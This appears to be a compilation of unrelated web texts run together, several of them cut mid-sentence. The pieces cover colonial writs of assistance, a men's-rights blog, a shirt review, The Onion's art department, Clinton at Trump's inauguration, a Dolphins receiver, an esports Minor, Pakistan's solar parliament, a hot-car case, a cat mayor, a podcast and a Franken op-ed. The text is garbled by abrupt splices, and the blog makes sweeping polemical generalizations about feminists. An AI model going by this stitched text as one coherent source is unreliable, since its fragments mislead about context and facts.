Incognito Mode isn't an entirely new concept. An older version of CyanogenMod, CM7, originally had a similar feature that allowed users to revoke permissions from any application. It was popular among users, but its initial implementation was plagued by a few issues. “If you just revoke a permission from an app, the Android system will just crash it when it tries to use a feature that requires that permission," Kondik wrote. "The solution to this was to |
0, all writs would expire on 25 April 1761. The crisis began on 27 December 1760 when news of King George II's death reached Boston and the people of Massachusetts learned that all writs faced termination.[6]
Paxton's case [ edit ]
Within three weeks, the writs were challenged by a group of 63 Boston merchants represented by fiery Boston attorney James Otis, Jr. A countersuit was filed by a British customs agent Paxton, and together these are known as "Paxton's case".[7] Otis argued the famous writs of assistance case at the Old State House in Boston in February 1761 and again on 16 November 1761. Although Otis technically lost, his challenge to the authority of Parliament made a strong impression on John Adams, who was present, and thereby eventually contributed to the American Revolution. In a pamphlet published three years later, in 1765, Otis expanded his argument that the general writs violated the British unwritten constitution hearkening back to the Magna Carta. Any law in violation of the constitution or "natural law" which underlay it, he said, was void.[8]
Malcom Affair [ edit ]
A writ of assistance was used in an incident known as the "Malcom Affair", which was described by legal scholar William Cuddihy as "the most famous search in colonial America."[9] The episode demonstrated a fundamental difference between the colonists' view of their rights and the official British view of imperial law. "The Malcom affair was a minor matter, a comedy of blundering revenue officers and barricaded colonials," wrote legal historian John Phillip Reid, "but were we to dismiss it in haste we might run the risk of dismissing much of the story of the American Revolution."
On 24 September 1766, customs officials in Boston, with a deputy sheriff, searched merchant Daniel Malcom's home, which was also his place of business. They claimed the authority to do so by a writ of assistance issued to customs official Benjamin Hallowell, and the information of a confidential informant. Malcom allowed them to search, but denied them access to a locked cellar, arguing that they did not have the legal authority to break it open. According to customs officials, Malcom threatened to use force to prevent them from opening the door; according to Malcom and his supporters, his threat specified resisting any unlawful forced entry.
The officials left and returned with a specific search warrant, only to find that Malcom had locked his house. A crowd supportive of Malcom had gathered around the house; Tories claimed that this "mob" numbered 300 or more people and was hostile to the customs officers, while Whigs insisted that this was a peaceful gathering of about 50 curious onlookers, mostly boys. No violence occurred, but reports written by Governor Francis Bernard and the customs officials created the impression in Britain that a riot had taken place. The incident furthered Boston's reputation in Britain as a lawless town controlled by "mobs", a reputation that would contribute to the government's decision to send troops in 1768.
Although British officials, and some historians, described Malcom as acting in defiance of the law, the constitutional historian John Phillip Reid argued that Malcom's actions were lawful—so precisely lawful, in fact, that Reid speculated that Malcom may have been acting under the advice of his lawyer, James Otis. According to Reid, Malcom and Otis may have been attempting to provoke a lawsuit so that they could once again "challenge the validity of writs of assistance" in court. This was one of several incidents when a Boston merchant resisted a search with a seemingly exact knowledge of the law; John Hancock would act in a similar manner when customs officials attempted to search his ship Lydia in 1768.[10]
End of colonial writs [ edit ]
Uncertainty about the legality of writs of assistance issued by colonial superior courts prompted Parliament to affirm that such writs were legal in the 1767 Townshend Acts. However, most colonial courts refused to issue general writs, and the Malcom case was apparently the last time a writ of assistance was issued in Boston.
In the United Kingdom [ edit ]
Writs of assistance continue to have force in the United Kingdom and may be used by customs officers to enter any building by force and search and seize anything liable to forfeiture. The officer must have reasonable grounds to suspect that goods liable for forfeiture are kept on the premises and that the goods are likely to be removed, destroyed or lost before a search warrant can be obtained and executed. Writs of assistance are issued at the start of the monarch's reign and continue in force until six months after the end of the monarch's reign.[11]
Legacy [ edit ]
In response to the much-hated general writs, several of the colonies included a particularity requirement for search warrants in their constitutions when they established independent governments in 1776; the phrase "particularity requirement" is the legal term of art used in contemporary cases to refer to an express requirement that the target of a search warrant must be "particularly" described in detail.[12] Several years later, the Fourth Amendment to the United States Constitution also contained a particularity requirement that outlawed the use of writs of assistance (and all general search warrants) by the federal government.[13] Later, the Fourth Amendment was incorporated against the states via the Fourteenth Amendment,[14] and writs of assistance were proscribed.
Notes [ edit ]
References [ edit ]
Knollenberg, Bernhard. Growth of the American Revolution, 1766–1775. New York: Free Press, 1975. ISBN 0-02-917110-5.
New York: Free Press, 1975. ISBN 0-02-917110-5. MacDonald, William. Documentary Source Book of American History, 1606–1913. New York: Macmillan, 1920.
. New York: Macmillan, 1920. Reid, John Phillip. In a Rebellious Spirit: The Argument of Facts, the Liberty Riot, and the Coming of the American Revolution. University Park: Pennsylvania State University Press, 1979. ISBN 0-271-00202-6.
Liberty. University Park: Pennsylvania State University Press, 1979. ISBN 0-271-00202-6. Smith, M. H. The Writs of Assistance Case. Berkeley: University of California Press, 1978. ISBN 978-0-520-03349-8. The only full-length book on Paxton's case, it reprints many original documents.
Further reading [ edit ]I had no idea that November 19th was International Men’s Day (IMD). Honestly I didn’t know there was an International Men’s Day. I certainly knew of International Women’s Day, which has been celebrated for over 100 years.
Today, on IMD, I learned that Professor Thomas Oaster, University of Missouri, was bullied and harassed by students and administrators when he tried to celebrate IMD in the early 1990’s. His career was in ruin by the vicious attacks of the University community until he sued and won compensation for the wrongs he suffered.
International Men`s Day is a little known and largely ignored day, but it didn’t escape the attention of Susie Boniface at “The Mirror”, who decided to celebrate this day by writing a sarcastic, hate-filled article to ridicule men. A piece laced with self-aggrandization, and bitterness, belittling men and men’s suffering at every opportunity.
In her orgy of self-pity she hints that all men are rapists with endearing statements that women could “throw ourselves behind a day that might prompt men into speaking out about rape, and perhaps taking a day off from it.” Of course “women, we are above all that,” she re-assures us, “we women will just get on with everything else.” She then suggests to men “Don’t hurry back.”
I feel so appreciated now, don’t you?
Mz. Boniface claims that Men dominate 364 days of the year. That`s puzzling to me. Why is it that every day I hear or read that “more needs to be done for women,” that “Because I am a girl” is really important, and “Girls are the answer.”
In fact, since I am self-employed I watch the CBC news during lunch, often at different times throughout the day. Most days I wonder if there are ANY males at all working for CBC. The daytime anchors are ALL female, the vast majority of the on-screen reporters are also female, including sports, business, weather personalities. More often than not, a CBC news segment amounts to a female anchor talking to a female reporter, who found a female interviewee to comment on a “big bad male” politician. Some weeks go by without seeing a single male news person on daytime CBC news. Here’s the all-female daytime line up for “CBC News Now”:
6 AM – 9 AM Heather Hiscox,
9 AM – 12 PM Suhana Meharchand,
12PM – 3 PM Carole MacNeil,
3 PM – 5 PM Reshmi Nair.
I guess it must be true, you just can’t find a good man these days.
I remember in 1984 when the VP of Dow Chemical Research informed everyone that they would be preferentially hiring and promoting women as part of “affirmative action,” otherwise known as “anything but a white man.” This near-ban on hiring males continues to this day, and CBC seems to have taken it to extremes.
What happens on other “men’s” days, let`s say, on Father’s day?
The typical media article reads like an admonition of all men as deadbeats. Huffington Post, for example, ran an article titled “Fathers Who Abandon Their Kids.” Apparently that wasn’t enough for HuffPo so they ran another “Father’s Day” article instructing men that they need to “Man Up,” including a convenient petition to President Obama to get tougher on men. It’s so nice to be appreciated on “Father’s Day.” Thank-you HuffPo!
Next up from Huffington Post: “Men should do the right thing and check themselves into prison,” so that they can’t commit a crime in the future … you can’t be too careful!
And lest we forget, Remembrance Day is to remember the fallen soldiers who died so that we may enjoy freedom. This past Remembrance Day I learned about White Poppies, a movement started by the Cooperative Women’s Guild, ostensibly to promote peace. However choosing November 11 was certainly a political move designed to detract from Remembrance Day.
Those White Poppies were made most popular by the Peace Pledge Union, who famously urged politicians to appease Hitler and argued that “Germany should be permitted to ‘absorb’ France, Poland, the Low Countries and the Balkans.” Wow! Those are the people who want to muscle the Veterans out of Remembrance Day!
One day of remembrance is too much for HuffPo feminist-blogger Anne Theriault as well, so she felt compelled to declare that she wouldn’t wear a red poppy. With all this love, surely men are overjoyed with their privileged place in society.
I also learned about the Silver Cross Mother, who represents all mothers who lose a child in war. The crowd at the Ottawa Remembrance Day ceremony was totally silent as high ranking soldiers and dignitaries arrived, but the silver cross mother was greeted with applause. Men die, women are praised. Oh, by the way, did her son have a father? If so, his loss was not acknowledged. Must be one of those “male privilege” things.
Another Remembrance Day story ran about a woman who wants the right to wear her dead husband’s medals to the Ceremonies. In fact, she defiantly insisted that she was going to wear them no matter what, and no man in this country would dare stop her. But imagine the outrage if a man declared that he was going to wear military decorations that he did not earn! No matter the circumstance, that man would be universally reviled, and jailed… just another example of “male privilege.”
You probably didn’t notice that ignorant, small-minded article by Mz. Boniface because International Men’s Day is just another day in which the media will lecture men on their inherent evil that requires constant restraint, and improvement under the good and moral guidance of feminists, most of whom see little or nothing of value in men, and often argue that men should be castrated or euthanized.
Mz. Boniface`s message is clear: International Men’s Day should be all about women, much like Father`s Day, Remembrance Day, and Valentine`s Day. Otherwise men might get uppity and start to think they have the right to discuss their own issues in their own voices …. without feminist supervision! God forbid … errr … Goddess forbid!
On a positive note, I started my International Men`s Day at 6 AM on a really fun photo shoot of a varsity swim team. Athletes are awesome.One of my fashion-related boob problems has been finding a well-fitting, classic button front shirt.
I love to wear them with jeans, skirts, or a nice pair of slacks. But for most of my on-and-off-again DD life, I've had to put up with buying a button front shirt that is either (a) too big in the sleeves or bodice so there's room for my bust, or (b) fits everywhere else but gaps in front. I'm either swimming in sleeves and shirt tails or tailoring with a tacky safety-pin.
That's why I'm thrilled there are now clothing companies focused on fab fashions made with a woman's bra size in mind. And when InStyle Essentials offered to send me one of their white, classic button front shirts, I jumped at the chance to try it.**
Classic Button Front Shirt
via InStyle Essentials
I ordered the 34DD (in my bra size) and couldn't wait for it to arrive. As promised, it fit like a glove. The long-sleeve stretch cotton shirt features princess seams that are designed to fit my curves. What I especially love are the way the buttons are spaced, closer together where extra security is needed, but hidden by the shirt placket. The classic design makes it simple to pair up with any bottom, from casual to dressy.
InStyle Essentials' collection of classic white shirts includes three other designs: a sleeveless Bow Blouse, sporty Weekend Tunic, and a chic Tuxedo Shirt. Whichever you choose, I'm sure you'll find the same great fit.
Sleeveless Bow Blouse
via InStyle Essentials
Weekend Tunic
via InStyle Essentials
Tuxedo Shirt
via InStyle Essentials
All of the InStyle Essentials shirts are sized to fit bra bands from 32 to 40, and cups B through H. (How great that InStyle Essentials appreciates that smaller busts need custom-sized shirts, too.) They retail for $59.99 to $69.99.
What do you think of InStyles Essentials custom fit white shirts? Would you wear one?
**I was not financially compensated for this post. I received a sample for review purposes. The opinions are completely my own.An Onion article titled “New Law Enforcement Robot Can Wield Excessive Force Of 5 Human Officers” includes a remarkable bit of artwork, which you can see above: a muscled, armored tank-like robot armed with guns and probes and sprays and hammers, using all its weaponry to attack the business-casual-clad attendees of a beige-carpet trade show. To create it, The Onion‘s art department built a digital robot, staged the scene with real people, then combined original photography and digital art with pre-existing stock photography to achieve a perfectly surreal, violent scene. All to illustrate a joke that can be told in a 12-word headline.
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Calling them artistic wizards is a disservice to their talents. Really, it’s a travesty that Adobe hasn’t renamed Photoshop after them. This is hardly an isolated example. At The Onion, a fake news website and one of the great satirical outposts of the past 50 years, nearly every image is original: either a graphic created in-house, a photograph taken in-house, or an image so manipulated by Photoshop as to not represent any real event that has ever happened. The tiny graphics team at The Onion pumps out about 50 original pieces of art per week at a time when your average Internet publication arts stories as quickly as possible: with images the subject provided, or photographs from stock agencies and wire services. Nobody sits down and creates original art for a two-sentence post. Yet The Onion does, over and over again. Why bother?
As Stephen Colbert or any great satirist will tell you, a key to satire is to always stay in character. In The Onion‘s case, that “character” is an absurd, alternative world invented to comment on the real one. Every aspect of the fake world has to ring true for the trick to work. That includes the visuals. When nothing you publish is real, every single image has to be made from scratch. “We want to make sure that we’re making our Onion-world fully realized and very real,” says Ben Berkley, managing editor of The Onion. It’s all in service of the joke. A Real (Fake) History
There is a real history of The Onion–started by two college students at the University of Wisconsin at Madison in 1988, eventually moved to New York and then, recently, back west to Chicago–but there’s also a fake history created by the writers of The Onion itself. In this history, The Onion was founded by a German immigrant named Friedrich Siegfried Zweibel (“zwiebel” is German for “onion”) in 1765, named the “Mercantile Onion” because, according to The Onion book “Our Dumb Century,” those were the only two English words Zweibel knew. Also in the fictional history of The Onion: The Onion News Network, ONN, was founded several years before television itself was invented; the grandson of the founder, editor T. Herman Zweibel, a conservative firebrand who once opposed television characters sleeping in the same bed, eventually left the planet Earth; and in the span of a week in 2009, The Onion was sold to a Chinese conglomerate Yu Wan Mei Amalgamated Salvage Fisheries and Polymer Injection Corporation and subsequently sold by the same Chinese conglomerate.
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That skewed, surreal tone permeates The Onion‘s strange editorial approach–a combination of fake New York Times and fake cheeseball local paper–along with a few other publications taking on other media types. Notably, that includes the new site Clickhole, a parody of pageview-desperate posts on sites ranging from BuzzFeed to the Huffington Post to Upworthy. (Clickhole has its own photo editor, and the teams for The Onion‘s videos are separate. Even more separate is the AV Club, a non-satirical criticism and reviews site, formerly a section within the physical Onion newspaper, that discusses movies, TV, books, games, and music.)
Today, The Onion has, according to its press site, about 11 million unique visitors a month, and Alexa, the moderately reliable site ranking system, puts it in the top 600 sites in America. The Power Of A Three-Person Art Department
Eric Ervine, Jimmy Hasse, and Heidi Unkefer make up the entire art department of The Onion, producing about 50 original images per week for theonion.com (Nicole Antonuccio handles the art for Clickhole). “Calling them artistic wizards is a disservice to their talents,” managing editor Berkley says. “Really, it’s a travesty that Adobe hasn’t renamed Photoshop after them.” Often an image to illustrate a celebrity or politician is actually a Photoshopped amalgamation of several different stock images. Everything at The Onion starts with the headline. As documented in this great This American Life episode, the pitch table at The Onion is difficult, with the surprisingly small staff pitching thousands of headlines per week to be boiled down to a couple dozen. It is a brutal job, and writers at The Onion don’t even get bylines, so nobody can tell who wrote what–an extreme, but thematically sound continuance of the alternate-reality newspaper concept. After the headline is approved, it’s taken to the art department. “Every image has to be in lockstep with the story it’s illustrating,” Berkley says. “For example, if we have a story about Obama and his facial expression doesn’t align with the tone of the piece, then it changes or confuses the whole joke.” And there are plenty of stories where the image is the entirety of the story: All you see are a headline and an image. Images relying on public figures have to be heavily altered. Often an image to illustrate a celebrity or politician is actually a Photoshopped amalgamation of several different stock or wire images, layer upon layer added to separate the real world in which the event being riffed on actually happened from the Onionworld. That’s simple enough, assuming you’re a brilliant and quick-minded Photoshop wizard; there are similar staffs at The Daily Show with Jon Stewart, for example.
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Where The Onion gets truly weird is in its faux-local coverage–the archetypical “Area Man.” Area Man is one of The Onion‘s longest-running memes, a take on the silliness and pomposity given to local schlubs by local news teams. But since none of these stories actually happened, The Onion‘s art department has to create, from scratch, thousands of different “everyday” scenarios. Some recent ones: “Area Man Pretty Sure He Knows Which Athletes Are Gay,” “Area Man Too Poor To Afford Movers, Too Old To Get Help From His Friends,” “Area Man Lacks Star Power Necessary To Carry Major Motion Picture.” These images call for subtle, banal shots, which can become totally forgettable or sell the joke by giving it the weight of a constructed world.
The method for creating the banal Onionworld relies on interns, employees, their significant others and friends, and their apartments. “Everybody in this office has had the experience where one of the graphics editors will be walking around with a camera and you see them walk toward your desk and they tap you on the shoulder,” Berkley says. “Personally I’ve been two superheroes, two teens, and a body double for Vice President Biden.” Scott Rogowsky, a former writer for Onion properties, appeared as a temporary priest in the story “Priest Shortage Forces Vatican To Hire Temps To Deliver Sacred Rites.” Rogowsky says the photo director at the time, Nick Gallo, had a huge Rolodex of names he could consult for shoots like this. “I guess he wanted someone who had a beard and looked like a semi-employed bum, which I was,” Rogowsky says. I’ve been two superheroes, two teens, and a body double for Vice President Biden. Some of the pieces are harder than others. Take two intensive pieces, both favorites of the writing staff. “More Corporations Using Tag And Release Programs To Study American Consumers” is primarily an original photograph of two “marketers” shooting a man with a tranquilizer dart. The photo was minimally altered; the only part added afterward the shot, says senior graphics editor Eric Ervine, is the little yellow dart. It’s a classic Onion image: the low-key, casual setting (it takes place in the parking lot of Jewel, a chain of Chicago supermarkets), the businesslike attire of all the people in the scene, and then a violent or surreal twist. The image that accompanies the article “Fossilized Evidence Reveals Spazosaurus Was Largest Doofus To Ever Roam Earth” took a different kind of effort. It’s a truly ridiculous, watercolor-like illustration of an idiot clumsy chunky dinosaur, bearing no relation to any dinosaur I’ve ever seen, tripping over its own tail while drooling. “I just love this one,” says senior editor Eric Ervine. “It’s so rare we get to do a full-blown illustration, especially with this level of irreverent zaniness.”
What The Onion does is more difficult than it seems; just look at less successful copycats, like the Daily Currant, to see what a high-wire act satirical journalism is. But The Onion is doing more than just writing fake news; with just a handful of writers and a three-person art department, it has managed to create what television and movies often fail to do: a fully-functioning, fascinating world just different enough from our own to serve as a damning critique of it.Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE's presence at the Capitol will be the subject of feverish interest as Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE takes the presidential oath of office on Friday.
Watchful cameras are set to catch any reflexive moment of pain or frustration on Clinton’s face as she watches a man whom she plainly disdains sworn into the nation’s highest office — a job she had been favored to win.
Clinton and her team were confident she would be the next president until the results began rolling in on the night of the election.
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Sharpening the human drama even more are allegations from the U.S. intelligence community that Russia intervened in the campaign to help Trump.
Those allegations, as well as Trump’s own controversial behavior, has fueled the decision by around 70 House Democrats to boycott the inauguration. Rep. John Lewis (D-Ga.), the civil rights hero, said Trump would not be a legitimate president.
Democratic strategists who spoke to The Hill expressed admiration for Clinton’s willingness to attend, given how agonizing the event is sure to be for her.
“I think it takes a lot to show up in that situation after the kind of campaign that was run against her [by Trump],” said Tad Devine, who worked as a senior advisor to Clinton’s main primary challenger, Sen. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE (I-Vt.).
Devine noted how Trump’s crowds had chanted “Lock her up!” in reference to Clinton at campaign rallies.
“Her opponent encouraged people to want to put her in jail, and to question her in a fundamental way, “ he said, adding that Clinton’s attendance “is testament to her strength of character. I really think she should be praised.”
Devine, and others, viewed Clinton’s decision to attend as an important marker smoothing the transition of power, especially when so many others are unreconciled to Trump’s election.
It's not easy to lose a presidential election, said Michael Dukakis, the Democrat defeated by George H.W. Bush in 1988.
And the circumstances of Clinton's loss make it even tougher, he said.
"Winning is a helluva lot better than losing, and when, in fact, you win by three million votes and the other guy takes office, it can't be easy," he said in an email to The Hill that referred to Clinton's win in the popular vote.
Clinton’s presence at the inauguration is not necessarily a rebuke to those who have boycotted the ceremony. But it is a powerful symbolic gesture of her acceptance of the election’s outcome.
“Certainly she will feel disappointed, but it is very important that she attend because it is a signal to people that the system of government works,” said Hank Sheinkopf, a New York Democratic strategist who has worked with Clinton in the past but did not do so during her most recent campaign. “Her appearance is a way of endorsing democracy.”
He added, “It is a very classy thing to do. It speaks well of her and her character, despite what her detractors might like to intimate. She has absolutely no gain here.”
Clinton will be making the high-profile appearance with her husband, former President Bill Clinton William (Bill) Jefferson ClintonInviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 Trump says he never told McCabe his wife was 'a loser' MORE. Every living former president is expected to attend the inauguration with the exception of the elderly George H.W. Bush, who has been hospitalized.
Hillary Clinton has remained mostly out of the public eye since losing the bitter election, with even chance encounters between her and random strangers earning airtime and headlines.
In recent years, it has been the usual custom — but not a universally observed one — for the vanquished candidate in a presidential election to attend the inauguration of the winner.
Mitt Romney did not attend President Obama’s second swearing-in in Jan. 2013. But, four years before, Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (R-Ariz.) was present for Obama’s first inauguration. Then-Sen. John Kerry John Forbes KerryOvernight Defense: White House eyes budget maneuver to boost defense spending | Trump heads to Hanoi for second summit with Kim | Former national security officials rebuke Trump on emergency declaration 58 ex-national security officials rebuke Trump over emergency declaration Ex-national security officials to issue statement slamming Trump's emergency declaration: WaPo MORE (D-Mass.) and outgoing Vice President Al Gore Albert (Al) Arnold GoreOvernight Energy: Trump ends talks with California on car emissions | Dems face tough vote on Green New Deal | Climate PAC backing Inslee in possible 2020 run New climate PAC will back Inslee for president Howard Schultz must run as a Democrat for chance in 2020 MORE attended President George W. Bush’s inaugurations after he beat them in the 2004 and 2000 election respectively.
Some observers draw parallels between Gore’s decision to accept Bush’s victory following a deeply controversial Supreme Court decision and Clinton’s attendance at Trump’s inauguration.
Devine said that Gore “demonstrated his respect for the rule of law, and he strengthened it in America at a very fragile time. I think we are in a time like that right now.”
Another Democratic strategist, Evan Stavisky, suggested that Gore could have some sense of the emotions that will be churning within Clinton on Friday.
“There are very few people who can sympathize with Hillary Clinton right now, and are still alive, other than Al Gore. Most people can’t even pretend to know.”
Any interaction between Trump and Clinton, however brief, will draw particular scrutiny. The same goes for any meeting between the president-elect and Bill Clinton, who campaigned vigorously on his wife’s behalf and sometimes found himself in Trump’s crosshairs.
The couple have experienced tumultuous turns in fortune, both privately and politically, over the years. But Friday’s inauguration will rank high among them.
Hillary Clinton “is a woman who has had an extraordinary life with lots of ups and downs,” said Sheinkopf. “She has adjusted well to some of the most dramatic moments in American public life. Hillary Clinton is one tough cookie.”
This story was updated at 9:36 a.m.Mike Wallace is as candid as it gets.
The Dolphins receiver doesn't hide behind sources and is usually as transparent as possible. So anyone who claims his issues with the Miami Dolphins' offense came out of left field or blindsided the coaching staff is being dishonest.
Wallace's frustration has been festering for two seasons. However, the source of this season's problems with Bill Lazor's spread offense centered around the fact it wasn't what it was advertised to be, which is a big-play producing scheme.
The Dolphins averaged 6.8 yards per pass in 2014, which ranked 26th in the NFL. The Eagles' offense, which is the scheme Lazor replicated, averaged 7.4 yards per pass, which ranked Philadelphia 11th in yards per attempt.
"In our offense the easiest person to get yardage is Jarvis [Landry] because of the routes that he's running. He runs a lot of crosses," Wallace told the Sun Sentinel before the season finale against the Jets. He was benched at halftime of Miami's 37-24 loss. "On the outside you can get some yards, but it's not designed for that because you're running stops, curls, comebacks. You can produce some big plays like that. But we need to be creative. It's the play designs."
Check out the 2015 class of draft prospects plying their trade in Mobile, Ala., in preparation for the Senior Bowl.
The Dolphins' offense produced just four passing plays that netted 40 or more yards, and Wallace brought down two of them. Only the Chiefs had fewer, with three. Wallace struggled to understand why Miami's passing game dink and dunked all season and became frustrated trying to encourage the coaches and quarterback to become more aggressive.
"[The offense] is not what people really want to see, but it's productive," Wallace said referring Miami's offense, which ranked 11th in points and 14th in yards per game. "It's not as exciting to us, but it works. So we can't have a problem with it.
Joe Philbin dodges questions about Mike Wallace, one day after receiver was benched. Joe Philbin dodges questions about Mike Wallace, one day after receiver was benched. SEE MORE VIDEOS
"If you do, they want to say you're getting selfish. It's kind of a line," Wallace continued. "You want to be a team player. But as a big-play player I want to make big plays. If what we're doing is working then what can I say? My only focus is on winning."
And that's where the disconnect and frustration surfaces with Miami's 8-8 season.
"We're all frustrated with how the season went. To a man, every person in the organization, whether it be Mr. [Steve] Ross, coach Philbin, to myself, to individual players," General Manager Dennis Hickey said when discussing Wallace's future. "The goal is to use that as motivation as we approach the offseason, and to work together."
The Dolphins and Wallace's camp have six weeks to determine whether or not they can work together, because $3 million of Wallace's 2015 base salary becomes guaranteed if he's on the roster when the new league year begins in early March.
The Dolphins can either keep Wallace and play nice. Or Miami could release him before free agency starts to avoid paying him the $3 million, and his $9.9 million salary.
Designating Wallace a June 1 cut would allow the Dolphins to clear $6.9 million in cap space.
Trading him is also an option, but one NFL executive compared Wallace's situation to Philadelphia trying to move Desean Jackson last offseason. Teams eventually felt the Eagles would cut Jackson, and they did.
Jackson, a similar receiver to Wallace, signed a three-year, $24 million contract with the Redskins last offseason. That deal includes $16 million guaranteed.
Wallace said he'd like to return to the Dolphins, honoring the final three seasons and $33 million left on the $60 million deal he signed in 2013. But if Miami releases him, he'd welcome going back on the free agent market.
"Mike's going to draw interest," said the executive. "He can still do something that's hard to find. He stretches the field. Put him with the right quarterback and he can still be dynamic."
What happens to Wallace could also impact Brandon Gibson and Brian Hartline, two receivers who could become salary-cap casualties this offseason. The Dolphins have $145 million committed to salaries for the team's top 51 players. Even though Miami has $7.2 million in unused cap space from last year that carries over, the team will need to purge some starters to sign free agents and the 2015 draft picks.
How much depends on how active the Dolphins front office plans to be in free agency, but a Wallace decision is likely the first domino to fall.
"We were 8-8. That's reality. Confront the reality of where we were," Hickey said. "What do we have to do to get better and take that next step as a team? We're looking at all things with all players. That's part of our process."HLTV.org's two-man team arrived at the PGL Studios in Bucharest, Romania, from where they will be covering the European Minor over the next four days.
The European Minor action returns to Bucharest, following up on the CIS Minor that was held in the Romanian capital last week. As is usual, eight teams are in attendance, with the two groups set to be played out on the first two days, and the playoffs scheduled for the weekend.
EnVyUs and Windigo have kicked off the Minor
HLTV.org's team, comprising Zvonimir "Professeur" Burazin and Josip "brcho" Brtan, has already arrived at the location, from where they will be bringing you interviews and photos during the event.
If you wish to get up to date on the attending teams and their chances at the Minor, be sure to check out our preview and take a look at our viewer's guide for all the information on the schedule and the format.
Additionally, we have recently released a feature on the Polish squad AGO, which you can find here, and learn more about the inception of Damian "Furlan" Kislowski's new team.Pakistan's parliament is the first government assembly building in the world to operate solely on solar energy. The China-backed green building was inaugurated on 23 February by Prime Minister Nawaz Sharif at a low-key event.
The entire electricity system of the building in capital Islamabad has been shifted to solar power with the help of an 80MW power plant. Speaking at the inauguration, Sharif said: "I appreciate the initiatives of National Assembly speaker and Senate chairman for making the country's parliament the first in the world to be run entirely on solar power."
"It is encouraging to note that the Parliament's solar plant will not only meet its own energy requirements but the additional electricity will contribute to the national grid. Shortage of electricity has always been a problem for Pakistan, which the government is gradually trying to resolve," he added.
The facility is built at an approximate cost of $55m (£39m) funded by the Chinese government. Sharif also hailed the project as a symbol of growing partnership between Islamabad and Beijing.
The ceremony was attended by Chinese ambassador to Pakistan Sun Weidong and Speaker of the National Assembly Sardar Ayaz Sadiq. At the ceremony, the Pakistani PM assured that |
We were only in the store for three minutes,” court documents state.
Police interviewed one of the women who called authorities. She said they were walking to their car, around 2:30 p.m., when they passed the Mitsubishi Lancer and she saw kids in the car, appearing to be asleep, court documents state.
She didn’t see any adults, and the two women knocked on the window to wake the kids, but they didn’t respond, which is when they called 911, according to court documents.
Yoon and Sul told police they went to shop at Kmart and decided to leave their kids in the car while they went inside the store, court documents state. Yoon told police he rolled up the windows and turned the engine off before he and his wife left the car, documents state.
Yoon told police he is a lawyer in South Korea and his wife is a judge.
Guam couple sentenced
Two Guam parents in September were sentenced in the Superior Court of Guam after pleading guilty to negligent homicide in the August 2014 death of their infant son, 3-month-old Tyler Cruz, who was left in a hot car.
Shawn Travis Llagas Cruz and Victoria Lynn Quidachay Siaotong returned home from running errands with their children and did not notice Tyler Cruz was not in the house until two hours later.
Read or Share this story: http://www.guampdn.com/story/news/2017/10/03/husband-and-wife-accused-leaving-children-parked-car-while-they-went-into-kmart/726145001/In 1997, the town of Talkeetna, AK (population: 600) voted a cat named Stubbs into office as their mayor through a write-in campaign. The citizens in Talkeetna have been satisfied with Stubbs's policy, so they've kept him in office for 15 years.
Now, some mysterious political forces are tossing Stubbs's name in the hat to be Mitt Romney's running mate, and the website RomneyStubbs2012.com is making its case for a feline veep.
The site suggests a few campaign slogans, such as "Romney Stubbs, double trubbs." It further explains why Romney should consider the top cat in politics as his running mate::
At just 6 years of age* he began running a town of 900 humans. Though his political leanings are often unclear, he had made it obvious he is red.
Now that he is a mature 90 years* old, he knows where he is needed most, by Mitt Romney's side. The republican party wasn't able to catapult one Alaskan mayor to the White House, but they are not going to lose their second chance.
*cat yearsLightning Dogs: The Official Paw’dcast :: Episode 3 :: Unleashed
Posted by NerdyShow on October 10, 2016
Ride with The Lightning Dogs: canines from another world; stranded on a post-apocalyptic Earth. It’s a crazy idea fueled by our favorite 80s pop culture and we’ve been recording our development of it since the moment lightning struck. Join us on our quest to build this world and launch it as an animated series.
Our 80s-inspired, action figure-ready, cartoon universe is ever-growing. When last we checked in with Cap, Doug, Tony, Hex, and Brian, the Lightning Dogs had gained new team members, special powers, and their world expanded – but there’s still more work to do. In this episode we complete the core Lightning Dogs cast, brainstorm new villains and allies, and attempt to bring the world of the Wasteland to a point from which we can start telling full-fledged Lightning Dogs tales.
Let us know what you think, send in your fan art, run with the pack, and never turn tail. #Howlnoise
Track:
Lightning Dogs: The Official Paw’dcast Theme :: Level 99
Links:
Social Links:The Thanksgiving statement issued by Minnesota Senator Al Franken on ventures in grope and grin photographs poses a test for Minnesota voters and Minnesota media. It is a sort of intelligence test. How stupid are you? Franken is betting that we are on par with the vegetable kingdom’s cabbage and potato. In the annals of false apology, this must set a new record:
I’ve met tens of thousands of people and taken thousands of photographs, often in crowded and chaotic situations. I’m a warm person; I hug people. I’ve learned from recent stories that in some of those encounters, I crossed a line for some women — and I know that any number is too many. Some women have found my greetings or embraces for a hug or photo inappropriate, and I respect their feelings about that. I’ve thought a lot in recent days about how that could happen, and recognize that I need to be much more careful and sensitive in these situations. I feel terribly that I’ve made some women feel badly and for that I am so sorry, and I want to make sure that never happens again. And let me say again to Minnesotans that I’m sorry for putting them through this and I’m committed to regaining their trust.
I want to believe. I really do. Yet the statement reads like a parody of the ever expanding universe of the apology genre. It evinces either the degradation of the Democratic consultant class or the work of an ironist rebelling against his assignment. The ironist seeks to out Franken as the jerk that everyone who knows him knows him to be.
Given that Franken has just published a best-selling memoir in which he regrets the false apology he served up in his 2008 Senate campaign, the author of the statement must expect readers to approach the text with some skepticism. Only a fool would take it at face value.
Taken at face value, however, it is devastating. In the first paragraph, Franken equates hugs with gropes. He purports to have learned over the past week that some women don’t like to be groped. As I say, this is a test.
In the second paragraph, Franken uses the words “greeting” and “embrace” and “hug” as synonyms for groping the ladies. Having deeply deliberated how anyone might be offended by a “greeting,” he now understands. Enlightenment has dawned. When he grabs the lady’s ass, he doesn’t necessarily have her at “hello.”
